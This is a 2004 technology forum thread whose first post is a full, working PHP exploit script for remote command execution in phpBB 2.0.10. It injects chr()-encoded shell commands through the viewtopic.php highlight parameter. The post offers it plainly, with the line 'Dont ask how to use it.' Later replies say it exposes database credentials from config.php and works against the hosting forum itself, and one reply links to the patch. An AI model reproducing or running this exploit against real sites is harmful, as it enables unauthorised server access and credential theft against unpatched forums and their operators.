Forum     

Go Back   Digit Technology Discussion Forum > Software > Open Source
Register FAQ Calendar Mark Forums Read

Open Source A place where you can talk to like-minded people about the fastest growing software movement today! Discuss anything and everything about Open Source software and Operating Systems.


Closed Thread
 
LinkBack Thread Tools Display Modes
Old 26-11-2004, 04:55 PM   #1 (permalink)
In The Zone
 
firewall's Avatar
 
Join Date: Mar 2004
Location: Kolkata - INDIA
Posts: 301
Default phpBB 2.0.10 execute command Exploits


Remote command execution exploit for phpBB 2.0.10 that makes use of a flaw in the viewtopic.php code.

Code:
#!/usr/bin/php -q
<?php
/*
# phpBB 2.0.10 execute command by pokleyzz <pokleyzz at scan-associates.net>
# 15th November 2004 : 4:04 a.m
#
# bug found by How Dark (http://www.howdark.com) (1st October 2004)
#
# Requirement:
#
#    PHP 4.x with curl extension;
#
# ** Selamat Hari Raya **
*/

if (!(function_exists('curl_init'))) {
    echo "cURL extension required\n";
    exit;
}

if ($argv[2]){
    $url = $argv[1];
    $command = $argv[2];
}
else {
    echo "Usage: ".$argv[0]." <URL> <command> [topic id] [proxy]\n\n";
    echo "\tURL\t URL to phpnBB site (ex: http://127.0.0.1/html)\n";
    echo "\tcommand\t command to execute on server (ex: 'ls -la')\n";
    echo "\ttopic_id\t topic id\n";
    echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n";
    exit;
}
if ($argv[3])
    $topic = $argv[3];
else
    $topic = 1;

if ($argv[4])
    $proxy = $argv[4];


$cmd = str2chr($command);

$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd." )%252e%2527";       
$ch=curl_init();
if ($proxy){
    curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
echo $res;

function str2chr($str){

    for($i = 0;$i < strlen($str);$i++){
        $chr .= "chr(".ord($str{$i}).")";
        if ($i != strlen($str) -1)
             $chr .= "%252e";   
    }
    return $chr;
}
?>
--- Dont ask how to use it..... ----
__________________
www.aloke.info
firewall is offline  
Advertisements. Register and be a member of the community to get rid of them.
Advertisement

Old 26-11-2004, 11:55 PM   #2 (permalink)
Coming back to life ..
 
it_waaznt_me's Avatar
 
Join Date: Nov 2003
Location: A bit closer to heaven
Posts: 1,997
Default

Ha Ha ha ...
__________________
Sleight of hand and twist of fate...
On a bed of nails she makes me wait...
And I wait without you ...
With or without you ..
----
Batty = Too Busy Now !!!
it_waaznt_me is offline  
Old 27-11-2004, 01:33 PM   #3 (permalink)
In The Zone
 
Join Date: Feb 2004
Location: Chennai
Posts: 300
Default

lol @ you guys, when you run those exploits, you can see the dbname. dbadmin . dbhost from config.php file !

I dont think this is allowed heere ? Batty ?
__________________
Vande Mataram - Two words that became a Fiery War Cry and Electrified the nation towards Freedom. A mantra that instills a sense of Pride and belonging.
go4inet is offline  
Old 27-11-2004, 11:50 PM   #4 (permalink)
Right Off the Assembly Line
 
Join Date: Nov 2004
Posts: 35
Default

Yes, the exploit is valid for this forum

But here forum run as nobody. Still it will show content of php files, directory listing etc... If you run the forum as privilaged user (phpsuexe) anyone can hack the web site. It is very easy to patch this exploit

http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513
__________________
http://arthunkal.BizHat.com
flashweb is offline  
Old 28-11-2004, 07:38 AM   #5 (permalink)
In The Zone
 
Join Date: Feb 2004
Location: Chennai
Posts: 300
Default

I am waiting for digit forum to update with v2.0.11 ! Guess thats the latest version !
__________________
Vande Mataram - Two words that became a Fiery War Cry and Electrified the nation towards Freedom. A mantra that instills a sense of Pride and belonging.
go4inet is offline  
Closed Thread

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


 
Latest Threads
- by topgear

Advertisement




All times are GMT +5.5. The time now is 08:51 AM.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2012, vBulletin Solutions, Inc.

Search Engine Optimization by vBSEO 3.3.2